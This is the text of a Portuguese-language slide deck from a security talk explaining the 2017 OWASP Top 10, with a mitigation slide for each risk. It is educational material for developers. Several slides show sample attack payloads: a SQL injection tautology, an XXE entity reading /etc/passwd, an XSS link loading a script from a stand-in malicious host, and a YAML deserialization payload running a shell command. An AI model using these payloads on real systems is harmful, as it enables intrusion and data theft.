Palestra realizada no 7º GUTS-SC.
Esta apresentação tem como objetivo explanar o básico de segurança em aplicações web, tendo como base o OWASP Top 10.
4. OWASP
■ Open Web Application Security Project (OWASP)
■ Organização sem fins lucrativos
■ Tem diversos voluntários pelo mundo
■ Foco em segurança de aplicações
■ Diversos projetos além do OWASP Top 10
6. Projeto OWASP TOP 10
■ Relatório das vulnerabilidades mais comuns em aplicações
web
■ Geralmente de 3 em 3 anos tem uma publicação
■ O relatório mais atual é o de 2017
■ Além das vulnerabilidades, também são apresentadas as
formas de mitigação dos riscos envolvidos
8. A1 - Injeção
Injeção de dados não confiáveis são enviados para o interpretador como parte de um
comando ou consulta válida (SQL, SO (sistema operacional), LDAP e etc)
Não houver tratamento das informações fornecidas para o sistema (inputs)
Severo - Pode comprometer por completo o servidor, assim como permitir a exposição de
dados sensíveis
Fácil - Ataques baseados em texto que exploram a sintaxe do interpretador alvo
Dificuldade para explorar
Impacto
Vulnerável se
O que é
9. A1 - Cenário - SQL Injection
SELECT
First_Name,Surname
FROM users
WHERE ID='1';
■ Pesquisar usuário por ID
10. A1 - Cenário - SQL Injection
SELECT
First_Name,Surname
FROM users
WHERE ID='or'1'='1;
■ Injetar instrução para considerar sempre verdade e
recuperar todos os usuários do banco
11. A1 - Como evitar Injeções ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista branca)
Banco de dados
Minimizar os privilégios de
acesso ao banco de dados para
reduzir os impactos de uma
falha/exploração
Consulta
Parametriza
Consulta parametrizada para
distinguir código e dados
12. A2 - Quebra de Autenticação
Má implementação das funç õ es de autenticaç ã o ou gerenciamento de sessã o ( contas
expostas, senhas, IDs de sessã o) no qual possibilitam assumir a identidade de outro usuá rio.
Houver ausência de mecanismo de proteção (hash, criptografia), assim com a exposição dos
ID's de sessão diretamente nas URL's, ID's de sessão que não expiram e etc.
Severo - Pode comprometer algumas ou todas as contas dos usuários. Uma vez bem sucedido,
qualquer ação pode ser feita através das contas utilizadas (ex: admin)
Fácil - Ataques baseados em alteração e/ou reutilização de informações para assumir outras
identidades
Dificuldade para explorar
Impacto
Vulnerável se
O que é
13. A2 - Cenário - Quebra de Autenticação
;jsessionid=EB4FFE6F0B917F27A44767177A66D44F
■ Compra de passagem
1
2
3
Usuário compra passagem
Usuário compartilha o link
Usuário malicioso agora pode
realizar compra de passagem
usando as credenciais de outro
usuário
14. A2 - Como evitar Quebra de Autenticação ?
Arquitetura
Centralizar e padronizar
o modelo de controle de
autenticação
Criptografia
Sempre utilizar criptografia para
dados sensíveis armazenados e/ou
para transição dos mesmos (SSL)
Ferramentas
Utilizar ferramentas OWASP para
tal - Enterprise Security API
(ESAPI)
URL
Evitar passar ID de sessão
através da URL
15. A3 - Exposição de Dados Sensíveis
Dados importantes no qual estão expostos de forma indevidamente protegida (ofuscada)
Houver ausência ou mal uso de mecanismo de proteção (hash, criptografia) e até mesmo uso
de chaves fracas
Severo - Geralmente compromete todos os dados do sistema, como credenciais de acesso,
cartões de crédito, dados pessoais e etc
Médio - Ataques baseados em explorar outros mecanismos para chegar aos dados sensíveis
Dificuldade para explorar
Impacto
Vulnerável se
O que é
16. A3 - Cenário - Exposição de Dados Sensíveis
■ Dados sensíveis em texto claro
1
Usuário realiza pagamento com
cartão de crédito e sistema
armazena em texto claro
2
O sistema gera log de todas as
informações
3
Um endpoint externo possibilita
o uso de logs e através do
mesmo é possível obter todos os
CC
ID CC
1 000000000000
17. A3 - Como evitar Exposição de Dados Sensíveis ?
Armazenamento
Seguro
Utilizar criptografia para
dados sensíveis armazenados
Chaves fortes
Utilizar algoritmos fortes
(criptografia)
Autocomplete
Desabilitar funções de
autocomplete em formulários que
trabalham com dados sensíveis
Distribuição de
chaves
Distribuir chave apenas para
as partes autorizadas e de
forma controlada
18. A4 - Entidades Externas XML (XXE)
Injeção de referências (entidades) a partir de mal uso ou validação dos processadores de XML
Houver ausência de validação de entrada dos XML's (uploads - fontes desconhecidas), se o
sistema usar o SOAP antes da versão 1.2 e se houver ausência de validação das entidades
Severo - Possibilita a extração dados, execução remota do servidor, escaneamento sistemas
internos, execução de um ataque de negação de serviço e etc
Médio - Torna-se necessário, por exemplo, realizar upload de XML ou incluir conteúdo
malicioso no XML para realizar a exploração
Dificuldade para explorar
Impacto
Vulnerável se
O que é
19. A4 - Cenário - Entidades Externas XML
■ Execução de comando através de Entidade XML
1
Sistema aceita upload de arquivo
XML (Nota Fiscal)
2
Usuário malicioso envia novo
XML com a entidade alterada
3
O processador de XML retorna
informações conforme
solicitado pela entidade
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>
20. A4 - Como evitar Entidades Externas XML ?
Atualização
Atualizar todos os
processadores de XML, assim
como o SOAP para uma
versão superior à 1.2
Inativação
Desativar o processamento da
entidade externa XML
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista
branca)
Tecnologia
Se possível, preferir à usar
JSON ao invés de XML
21. A5 - Quebra de Controle de Acesso
Usuários não autorizados são capazes de acessar determinadas ações/arquivos do sistema
Ausência de verificação se o usuário solicitante tem permissão para acessar a URL, arquivo,
diretório e/ou determinada ação do sistema
Moderado - Possibilita o comprometimento de determinados objetos referenciados, assim
como a exposição dos mesmos
Fácil - Ataques baseados em mudança de parâmetro que exploram as referências do objeto
Dificuldade para explorar
Impacto
Vulnerável se
O que é
22. A5 - Cenário - Quebra de Controle de Acesso
■ Acessar dados de outro usuário sem a devida permissão
1 Usuário acessa da própria conta
2 Através da URL, muda o número do usuário
3 Obtém acesso a conta de outro usuário
23. A5 - Como evitar Quebra de Controle de Acesso ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Permissão
Validar se o usuário tem
autorização diante o que foi
solicitado
Tipo de acesso
Validar os tipos de acesso do
usuário (leitura, escrita,
exclusão)
Ferramentas
Utilizar ferramentas OWASP para
tal - Enterprise Security API
(ESAPI)
24. A6 - Configuração Incorreta de Segurança
Má configuração em geral que podem afetar qualquer nível da pilha de aplicação
Houver sistema desatualizado (S.O, SDBD, Servidor Web, Bibliotecas), recursos ativos que
são desnecessários (portas, serviços, contas), erros que revelam informações importantes e
etc
Moderado - Possibilita o acesso não autorizado à determinados serviços que podem levar o
comprometimento do sistema, assim como pode ocorrer a exposição de dados
Fácil - Ataques baseados em explorar falhas conhecidas, páginas não utilizadas e serviços
expostos
Dificuldade para explorar
Impacto
Vulnerável se
O que é
25. A6 - Cenário - Configuração Incorreta de Segurança
■ Erro na configuração de acesso à página do servidor
web
1
Após um scanner das páginas
disponíveis na aplicação, o
usuário malicioso descobre
página de configuração do
servidor de aplicação, no qual é
restrita para admins
26. A6 - Como evitar Configuração Incorreta de Segurança ?
Hardening
Criar políticas de
"blindagem" para os
ambientes
Política de Atualização
Processo de atualização de correções de
software (patch de segurança)
Auditorias
Checar periodicamente as
políticas de segurança
Varredura de Segurança
Checar periodicamente as possíveis
vulnerabilidades existentes nos ambientes
27. A7 - Cross-Site Scripting (XSS)
Dados não confiáveis são enviados para o navegador da vítima sem a validaç ã o ou filtro
apropriado referente ao conteú do. Dividido em 3 tipos: Refletido, Persistente e Baseado em
DOM
Houver ausência de validação e/ou tratamento das informações fornecidas para o sistema
(inputs), assim como para as API's de terceiros
Moderado - Possibilita o sequestro de sessão, roubo de dados sensíveis, redirecionamento
para páginas maliciosas, inserção de arquivos maliciosos e etc
Fácil - Ataques baseados em script que exploram a sintaxe do interpretador alvo
Dificuldade para explorar
Impacto
Vulnerável se
O que é
28. A7 - Cenário - Cross-Site Scripting (XSS Refletido)
■ Execução de script ao acessar uma página de um site
1 Usuário recebe link por e-mail
2
Através do link há um script no
qual realiza uma execução
Assunto: Promoção imperdível!!!!
É só clicar -> www.compreaqui.com.br
De: xpto@shopconfiavel.com.br
Para: inocente@gmail.com
<script>alert('aqui tem XSS, BIIIRRRL')</script>
<a href="http://confianenem.org.br/busca.cgi?cc=<script
src='http://malicioso.com.br/malicioso.js'></script>">segur
ancatotal.org.br</a>
29. A7 - Como evitar Cross-Site Scripting (XSS) ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista branca)
Output
Tratar todas as saídas para o
usuário através de encoding
ou escaping de caracteres
Bibliotecas
Utilizar bibliotecas de auto-sanatização
30. A8 - Desserialização Insegura
Modificação da lógica da aplicação com foco em execução arbitrária de código
Caso a aplicação permite a alteração do objeto durante e após a desserialização
Severo - Possibilita um invasor de executar códigos remotamente, manipular e até mesmo
apagar objetos serializados (escritos em disco), assim como realizar escalonamento de
privilégios
Difícil - Exige um conhecimento técnico mais aprofundado para entender as oportunidades de
ataque para a vulnerabilidade em questão
Dificuldade para explorar
Impacto
Vulnerável se
O que é
31. A8 - Cenário - Desserialização Insegura
■ Execução arbitrária de código através da leitura de um
arquivo
1
Usuário malicioso encontra um
trecho de código no qual possibilita
execução de outro código
2
Realiza a execução de um código
arbitrário para obter informação
do host local
import yaml
with open('malicious.yml') as yaml_file:
contents = yaml.load(yaml_file)
print(contents['foo'])
foo: !!python/object/apply:subprocess.check_output ['whoami']
32. A8 - Como evitar Desserialização Insegura ?
Arquitetura
Recusar objetos serializados
de fontes desconhecidas
Isolamento
Executar código que
desserializa em ambientes de
privilégios baixos quando
possível
Exceções
Apresentar exceções e falhas
de desserialização quando o
tipo de entrada não for o
esperado
Monitoramento
e Restrição
Restringir e monitorar a rede
de entrada e saída de objetos
33. A9 - Utilização de Componentes Vulneráveis Conhecidos
Componentes e/ou bibliotecas utilizados na aplicação que são vulneráveis
Não houver reconhecimento de todos os componentes utilizados, assim como se houver algum
componente externo ou interno que tenha alguma vulnerabilidade conhecida
Moderado - Possibilita que outros tipos de falhas sejam exploradas e eventualmente chegue a
comprometer parte ou completamente a aplicação
Médio - Ataques geralmente baseados em exploits para vulnerabilidades já conhecidas
Dificuldade para explorar
Impacto
Vulnerável se
O que é
34. A9 - Cenário - Utilização de Componentes Vulneráveis
Conhecidos
■ Uso de componente vulnerável
1
Usuário malicioso realiza
varredura no sistema e encontra
um componente vulnerável
2
Descobre que o componente é
vulnerável à injeção
3
Desenvolve um exploit para o
componente em questão e
explora a falha
35. A9 - Como evitar Utilização de Componentes
Vulneráveis Conhecidos ?
Atualização
Manter todos os componentes
sempre atualizados
Política de Segurança
Estabelecer políticas de segurança
para o uso dos componentes no
desenvolvimento
Testes de Segurança
Envolver os componentes nos testes
de segurança
Fronteira
Estabelecer limites de escopo de
do componente na aplicação
36. A10 - Monitoramento de Eventos e Registros Insuficientes
Ineficiência em resposta aos incidentes, possibilitando que os atacantes concluam os seus
objetivos (ex: varredura).
Houver ausência ou falta de logs com avisos e erros gerados pela aplicação, assim como a
falta de monitoramento dos serviços, sejam estes internos ou externos (ex: API). Outro ponto
é quando a própria aplicação não consegue detectar e nem alertar em tempo real os ataques
ativos
Moderado - Possibilita comprometimento dos mais variados tipos, só vai depender do que
estiver sendo explorado
Média - É necessário fazer um estudo da app para saber quais recursos estão ou não sendo
monitorados, assim como os que geram ou não log
Dificuldade para explorar
Impacto
Vulnerável se
O que é
37. A10 - Cenário - Monitoramento de Eventos e Registros
Insuficientes
■ Varredura de serviços e portas disponíveis externamente
3
Faz uso indevido de tais
informações para roubar os
dados dos clientes
1
Usuário malicioso realiza
varredura no sistema, descobre
quais portas estão expostas e
que nenhum alerta é gerado
2
Descobre qual dos serviços é
responsável pelas senhas de
acesso
38. A10 - Como evitar Monitoramento de eventos e
Registros Insuficientes ?
Monitoramento
Estabelecer o monitoramento e
alerta de modo que as atividades
suspeitas sejam detectadas e
respondidas em tempo hábil.
Plano de Resposta
Adotar um plano de resposta e
recuperação de incidentes (ex: NIST
800-61 rev 2)
Auditorias
Realizar periodicamente
auditorias de segurança
Ferramentas
Utilizar ferramentas para tal -
AppSensor, WAF, Dashboard de
monitoramento e etc
40. Ferramentas
Ferramenta para Testes de Segurança
Aplicação vulnerável para estudo
Aplicação vulnerável para estudo
Ferramenta para Testes de Segurança
Zed Attack Proxy
41. Obrigado!
Quem sou: Igor Carneiro
Atuação: Analista de Qualidade de Software
Hobbies: Corrida, livro e videogame
E-mail: igor.ribeiro.carneiro@gmail.com
LinkedIn: in/igorcarneiro
42. “
Cybersecurity used to be about the network or operating
system. Now it's more at the application layer.
Companies and their contractors build their own
applications hosted on a public website, and the people
who write them aren't trained in secure coding. The
mistakes they make can be leveraged to break the
system.
By Kevin Mitinick